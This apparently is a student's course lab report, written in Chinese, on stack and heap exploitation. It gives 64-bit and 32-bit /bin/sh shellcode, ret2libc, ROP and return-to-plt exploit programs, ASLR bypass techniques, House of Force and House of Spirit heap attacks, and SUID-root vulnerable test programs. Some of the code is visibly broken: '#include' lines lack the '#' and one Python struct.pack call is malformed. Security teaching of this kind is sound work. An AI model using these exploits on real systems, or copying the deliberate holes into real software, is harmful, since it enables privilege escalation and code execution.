2018-2019 20165226 网络对抗 Exp1+ 逆向进阶
2018-2019 20165226 网络对抗 Exp10 逆向进阶
目录
一、实验内容介绍
二、64位shellcode的编写及注入
三、关闭保护的SSP
四、地址随机化
(一)ret2lib及rop的实践破解nx
(二)破解alsr(3种)
(三)Return-to-plt
五、堆溢出
六、问题与思考
一、实验内容介绍
```
第一个实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护
(2)关闭堆栈执行保护
(3)关闭地址随机化
(4)在x32环境下
(5)在Linux实践环境
##建议的实践内容包括:##
- Task1 (5-10分)
- 自己编写一个64位shellcode。参考[shellcode指导](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Shellcode%E5%9F%BA%E7%A1%80.md)。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
- Task 2 (5-10分)
- 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。参考[ROP](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x14_MAL_x64%E5%B9%B3%E5%8F%B0ROP%E6%8A%80%E6%9C%AF%E5%AE%9E%E8%B7%B5.md)
- Task 3 ( 5-25分)
- 可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。
- 或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?
> 同学们可跟踪深入任何一个作为后续课题。问题-思考-验证-深入...。根据实践量,可作为5-25分的期末免考题目。
> 往届样例:学习并实践:[Linux攻击实践完整流程](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x15_%E5%9F%BA%E6%9C%ACLinux%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB.md)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
<h4 id=0><font size=5 face="微软雅黑"> 二、64位shellcode的编写及注入</font></h4>
****
> 自己编写一个64位shellcode。参考shellcode指导。
> 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
> shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
> 第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
> 第二种是通过调用libc里syscall(64位)和sysenter(32位)
- 首先通过资源找到root shell的汇编源码
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234455237-1133082935.png)
- 用nasm编译,然后用ld进行链接
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234611032-480039039.png)
- 这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的操作码
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234739540-799476484.png)
- 套用一个代码测试我们的shellcode
include <stdio.h>
include <string.h>
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void()()) shellcode)();
return 0;
}
通过运行结果,发现这个shellcode不能用
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190323000022935-674780335.png)
<hr>
虚拟机崩了,然后换了另一台,重新生成shellcode
- 编写恶一个通过execve系统调用来实现的shell程序
int main() {
asm("
needle0: jmp there\n
here: pop %rdi\n
xor %rax, %rax\n
movb $0x3b, %al\n
xor %rsi, %rsi\n
xor %rdx, %rdx\n
syscall\n
there: call here\n
.string "/bin/sh"\n
needle1: .octa 0xdeadbeef\n
");
}
- 编译运行此shell
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142001824-1728031323.png)
- 查看机器码
```objdump -d a.out | sed -n '/needle0/,/needle1/p'```
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142115571-1794660576.png)
- 该二进制文件中,我们的代码位于0x1129的偏移量处,并在偏移量0x1146之前完成,共有29个字节
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142141832-1495883755.png)
- 查看shellcode
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142203396-1005175619.png)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
<h4 id=4><font size=4 face="微软雅黑">三、关闭保护的SSP</font></h4>
> 有三种方式来保护堆栈,其中一种为SSP,又名ProPolice,编译器重新排列堆栈布局,使缓冲区溢出不太危险,并插入运行时堆栈完整性检查,第二种是地址随机化(ASLR),第三种是可执行空间保护
- 被攻击简单代码`target.c`:
include <stdio.h>
int main() {
char name[64];
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
- 使用gcc的-fno-stack-protector选项禁用堆栈保护,编译target
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602160945511-1288184502.png)
- 出现警告,先忽略不管
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602160959335-209647695.png)
- 下载`execstack `后,使用`execstack -s target`禁用可执行文件空间保护
- 接着在运行文件时禁用`ASLR`
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602161730478-1625185142.png)
- 我们再在原`target.c`代码的基础上加上一句`printf("%p\n", name);`,打印缓冲区的位置,然后再编译运行
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162658626-427115965.png)
- 让它以小端法显示
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162812558-614094961.png)
- 此时攻击`target.c`程序
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162953323-669751868.png)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr>
<h4 id=3><font size=5 face="微软雅黑">四、地址随机化</font></h4>
<h4 id=1><font size=4 face="微软雅黑">(一) ret2lib及rop的实践破解nx</font></h4>
****
> 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。
<h4>1、ROP</h4>
- ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
- ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
- ROP的核心思想:
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
- 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
- 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。
- ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
- 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
- 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
- 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。
<h4>2、核心原理-攻击缓冲区的内容</h4>
下表中ptr1-3就是在当前进程内存空间中要找到的地址。然后利用这三个地址构造攻击缓冲区,覆盖被攻击函数的堆栈。这只是一个非常简单的ROP攻击,只用了一个代码片段。复杂的ROP是由一系列的ptr1那样的指针构成,每一个都是以retq结尾的一小片代码(gadget)。
攻击用的缓冲区| 指向的内容| 说明
--|--|--
ptr3内存地址3(高地址)| system|
ptr2内存地址2| /bin/sh|
ptr1内存地址1(低地址)| pop %rdi;retq |覆盖堆栈上的返回地址
填充内容 | |这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址
上面构造的攻击用缓冲区原理和前面介绍的Shellcode很类似。
- 利用这个攻击buf覆盖堆栈
- 当函数返回时,就会跳转到ptr1指向的指令
- pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
- 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell
<h4>3、攻击步骤</h4>
- 输入命令安装一些用于编译 32 位 C 程序的东西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 输入命令`linux32`进入 32 位 linux 环境。输入`/bin/bash`使用 bash。
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610210909305-1594348293.png)
- 添加一个新用户,如图所示
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322204146698-940130876.png)
- 即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322204350899-70250035.png)
- 把以下漏洞代码保存为`5226retlib.c`文件,保存到` /tmp `目录下,并进行编译,设置。代码如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE badfile)
{
char buffer[12];
/ The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322210142142-913188.png)
- 编译上述程序编译该程序,并设置 SET-UID。
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行
chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322211335144-1343791938.png)
- 此外,我们还需要用到一个读取环境变量的程序,并通过` gcc -m32 -o getenvaddr getenvaddr.c`进行编译。
include <stdio.h>
include <stdlib.h>
include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
- 获得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322211958687-1713463335.png)
- 以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
- 通过编译和gdb调试获取system和exit地址
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322212259941-1229929586.png)
- 修改` exploit.c `文件,填上刚才找到的内存地址。删除刚才调试编译的` exploit `程序和` badfile `文件,重新编译修改后的` exploit.c`。
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214532589-1214742811.png)
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214634628-538580919.png)
- 首先运行攻击程序,生成`badfile`文件,载运行漏洞程序,可以看到攻击成功,获得root权限。
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214659339-774504607.png)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
<h4 id=42><font size=4 face="微软雅黑"> (二)破解alsr(3种)</font></h4>
> 帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。
1、NOP slide
- NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。
- 使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。
- 一般将注入的代码放到存在溢出的缓冲区中,再将其所在栈帧返回地址用其起始地址覆盖,如此栈帧在返回时%rip就会转向缓冲区的位置,再执行注入的指令。
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
其中S代表我们注入的指令,0xD8代表了buffer的起始地址##
然而在地址随机化的情况下可能需要成千上万次尝试才能准确命中buffer起始地址,因此我们插入大量NOP指令以此扩大命中范围。
因此,我们将注入的代码放在buffer高地址处,低地址处全部放上连续NOP指令,因此只需命中低地址任一ROP指令,都会滑动到注入代码部分。
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置##
- vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */
}
- exploit.c
include <stdlib.h>
define DEFAULT_OFFSET 0
define DEFAULT_BUFFER_SIZE 512
define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
asm("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long ) ptr;
for (i = 0; i < bsize; i+=4) / 先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,为payload的一半大小 */
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) /* 再填入shellcode */
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash"); /* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */
}
- 输入`./exploit 612`,返回一个地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609113501004-713404375.png)
- 但结果未成功
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609113203266-487824829.png)
存在溢出漏洞缓冲区很小,不能完整注入攻击代码,或者能够注入的NOP指令很少,命中概率很低。
2、 small buffer overflows
但如果能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制,将返回地址改成该环境变量在内存中的地址。
- 当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()设置的环境变量会在存放在别处,一开始栈是这个样子:
NULLNULL
- 使得一个新的shell环境下新增一个包含攻击payload的环境变量
- 攻击
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609115439354-2052856754.png)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609115445252-1654088519.png)
3、 爆破lbic基址
- vuln.c
include <stdio.h>
include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
- 编译
echo 2 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -g -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609203607302-1206870846.png)
- 攻击者爆破Libc基址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609203637899-54776627.png)
但此处需要16位,即需要尝试2^16次,然而任选一个多次尝试,失败。
<hr>
<h4 id=43><font size=4 face="微软雅黑"> (三)Return-to-plt</font></h4>
> 攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”.
1、PLT介绍
- PLT(过程链接表)
- 运行时重新定位共享库符号而不修改其代码段
- 动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数
- 全局偏移表(GOT)
- 过程链接表(PLT)
- PIC(位置无关代码)
- 确保共享库代码段在多个进程之间共享
- 共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表
2、使用PLT理解动态库函数调用
- 使用代码
include
include <stdlib.h>
void fun(int a)
{
a++;
}
int main()
{
fun(1);
int x = rand();
return 0;
}
- 反汇编main函数
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151133972-856742469.png)
从此处可以看出调用我们自定义的fun和系统库函数rand形成的汇编差不多
- 通过地址查看rand
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151244062-1996046170.png)
- `# 0x4018 <rand@got.plt>`看出rand@plt首先会跳到这里
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151648846-648416409.png)
- 再看`0x00001036`
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705152124190-30351168.png)
可以看出这里的处理和刚才rand@plt的jmpq一样。都是将0x01入栈,然后jmpq 0x1020,因此这样就避免了GOT表是否为是真实值的检查:如果是空,那么去寻址;否则直接调用。
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705152425107-396316836.png)
3、攻击实现
- eg.c
include <stdio.h>
int main(int argc, char* argv[]) {
printf("Hello %s\n", argv[1]);
return 0;
}
- 输入`gcc -g -o eg eg.c`进行编译,如何进入gdb调试用反汇编显示
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210024791-1767223017.png)
- 不会直接调用'printf',而是调用相应的PLT代码'printf@PLT',在printf第一次调用之前,其相应的GOT条目(0x4018)指针将返回到PLT代码(0x00001036)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210144606-1650785799.png)
- 第一次调用printf函数时,其对应的函数地址将在动态链接器的帮助下得到解决。
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210250668-886931064.png)
> 由此,我们知道攻击者不需要精确的libc函数地址来调用libc函数,可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。
- 漏洞代码`v1.c`
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
- 编译命令
echo 2 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -o v1 v1.c
sudo chown root v1
sudo chgrp root v1
sudo chmod +s v1
- 我们用gdb反汇编你可执行文件`v1`,可以找到`system@PLT`和 `exit@PLT`的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609212101429-171519019.png)
- 使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码
- 通过`hexdump -C v1`来获取`system_arg`的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609213515547-142014202.png)
- 代码如下
import struct
from subprocess import call
system = 0x1050
exit = 0x1060
system_arg = 0x1250 #Obtained from hexdump output of executable 'vuln'
endianess convertion
def conv(num):
return struct.pack(system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./v1", buf])
但运行`python exp.py`系统一直报错,于是换另一种方法。
- 基于之前`target`代码,先通过运行`execstack -c`指令重新启动可执行空间保护,通过`locate`找`libc`位置
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174058178-797712935.png)
- 在推进堆栈指针指向`/bin/sh`之前将指针分配给rdi,通过grep指令来实现在文件中检索给定的字节序列
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174418697-654265502.png)
- 覆盖返回地址:libc地址+0x23a5f,`/bin/sh`的地址;libc的system()函数的地址,然后在执行下一个ret指令时,程序将弹出“/bin/sh”的地址到rdi,然后跳转到系统函数。运行target程序:
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174710063-1564149832.png)
- 再打开终端查找gadget地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174910964-1339080977.png)
- 可以看出,libc被加载到从`0x7fff7de6000`开始的内存中,因此gadget地址是`0x7fff7de6000 + 0x23a5f`,`/bin/sh`的地址是`0x7fffffffe1a0`,最后我们通过下面的指令来找libc的system()函数的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610175743369-283047028.png)
- 如此可得到libc的system()函数的地址`0x7fff7de6000 + 0x449c0`,成功获取shell
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610181945331-1139443811.png)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610181947549-2089559892.png)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr>
<h4 id=5><font size=5 face="微软雅黑"> 五、堆溢出</font></h4>
> 绝大多数堆溢出的基本原理如下:堆和栈很相似,既包含了数据信息,也包含了用来控制程序理解这些数据的维护信息。我们所要掌握的技巧,就是通过malloc和free来达到这个目的:把一或两个字写入我们能控制的内存地址。
- 产生堆溢出的程序 basiccheap.c
include <stdio.h>
int main(int argc, char *argv[])
{
char *buf;
char *buf2;
buf = (char *)malloc(1024);
buf2 = (char *)malloc(1024);
printf("buf=%p, buf2=%p/n", buf, buf2);
strcpy(buf, argv[1]);
free(buf2);
}
- 进行编译
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610220937560-294327654.png)
- 进入gdb调试,本来想用malloc实现,把额外信息保存到空闲块中。空闲块的前4个字节是前向指针,接下来的4个字节是一个后向指针,这两种指针把空闲块挂在双向链表上。在对双向链表的插入和删除操作中,我们可以利用这些指针改写任意内存地址中的数据,但是失败了。
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610220956858-708340433.png)
### 尝试用house of force攻击
- 这个技巧中,攻击者滥用 top 块的大小,并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求(大于堆系统内存大小)。
- 利用`exp`程序进行攻击
include <stdio.h>
include <unistd.h>
include <string.h>
define VULNERABLE "./vuln"
define FREE_ADDRESS 0x08049858-0x8
define MALLOC_SIZE "0xFFFFF744"
define BUF3_USER_INP "\x08\xa0\x04\x08"
/* Spawn a shell. Size - 25 bytes. */
char scode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
int i;
char * p;
char argv1[ 265 ];
char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A';
strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
argv[264] = ''; /* Terminating NULL character */
/* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
- 成功利用堆溢出,攻击者需要提供下面的命令行参数:
- argv[1] – 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
- argv[2] – 第二个 malloc 块的大小参数。
- argv[3] – 复制到第三个 malloc 块的用户输入。
- 使用参数会覆盖 top 块大小:
- 攻击者的参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)会复制到堆缓冲区buf1。但是由于argv[1]大于 256,top 块的大小会覆盖为0xFFFFFFFF。
- 使用攻击者命令行参数执行漏洞程序,会执行shellcode
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610222216377-385304793.png)
## House of Spirit
- 在可以通过某种方式(比如栈溢出)控制free参数时,就可以使用House of Spirit实现利用。free任一分配的地址,然后这个地址会再次分配的时候被分配,但是得提前构造好伪chunk结构。
### chunk结构
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627162040979-1269181261.png)
- 每个chunk除了包含最终返回用户的那部分mem,还包含头部用于保存chunk大小的相关信息。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。
- chunk头包括以下两部分:
- prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
- size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。
- 若当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息
- fd: 下一个未被使用的chunk的地址
- bk: 上一个未被使用的chunk的地址
### fastbin
fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。
而当free一块chunk时,也会首先检查其大小是否落在fastbin的范围中。如果是,则将其插入对应的bin中。顾名思义,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。
- 编写一个简单程序`fastbin.c`
include<stdlib.h>
include<stdio.h>
int size = 40 | 0x1;
int main(int argc, char *argv[]) {
void *buf0, *buf1, *buf2;
buf0 = malloc(32);
buf1 = malloc(32);
free(buf1);
free(buf0);
buf0 = malloc(32);
read(0, buf0, 64);
buf1 = malloc(32);
buf2 = malloc(32);
printf("buf2 is at %p\n", buf2);
return 0;
}
- 通过命令来查看我们溢出的效果
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627163236507-968380864.png)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627163239551-1993019758.png)
输出的结果显示,buf2会被分配到`0x574631c0`,而这里恰为伪chunk所对应的mem
### House of Spirit
> `The House of Prime`
`The House of Mind`
`The House of Force`
`The House of Lore`
`The House of Spirit`
`The House of Chaos`这五种堆攻击的方法中`House of Spirit`与fastbin有关。
- 预备条件
- 缓冲区溢出,用于覆盖一个变量,包含块地址,由glibc malloc返回
- 上面的块空闲
- Malloc一个块
- 用户输入应该能够复制到上面所分配的块中
- 漏洞程序
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627173712935-603425928.png)
- 其中缓冲区溢出代码为红色区域
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627173919730-2055427327.png)
为了成功利用漏洞程序,攻击者需要提供下面的命令行参数:
argv[1] = Shell Code + Stack Address + Chunk size
- 首先输入`ls`查看当前目录文件
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627182055811-708468211.png)
- 用exp程序进行攻击,输入`./exp`
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627184409155-1432901216.png)
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
<h4 id=6><font size=5 face="微软雅黑"> 六、问题与思考</font></h4>
- 问题1:输入命令行`sudo apt-get install lib32readline-gplv2-dev`的时候出现无法安装的提示
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322173539943-1597860485.png)
- 问题1解决方案:将命令改成`sudo apt-get install lib32readline6-dev`于是成功安装
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322174110489-560232077.png)
- 问题2:在编译`5226retlib.c`时出现如图所示错误
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322210250152-1951335922.png)
- 问题2解决方案:发现第一行没有`#`,加上后编译成功
- 问题3:在运行攻击程序生成badfile文件,载运行漏洞程序时攻击失败
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214122924-506355729.png)
- 问题3解决方案:发现在另一终端未退出,在退出后重新进入目录,再运行,成功
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>
2018-2019 20165226 网络对抗 Exp1+ 逆向进阶的更多相关文章
- 2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解
2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 目录 一.逆向及Bof基础实践说明 二.直接修改程序机器指令,改变程序执行流程 三.通过构造输入参数,造成BOF攻击,改变程 ...
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...
- #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
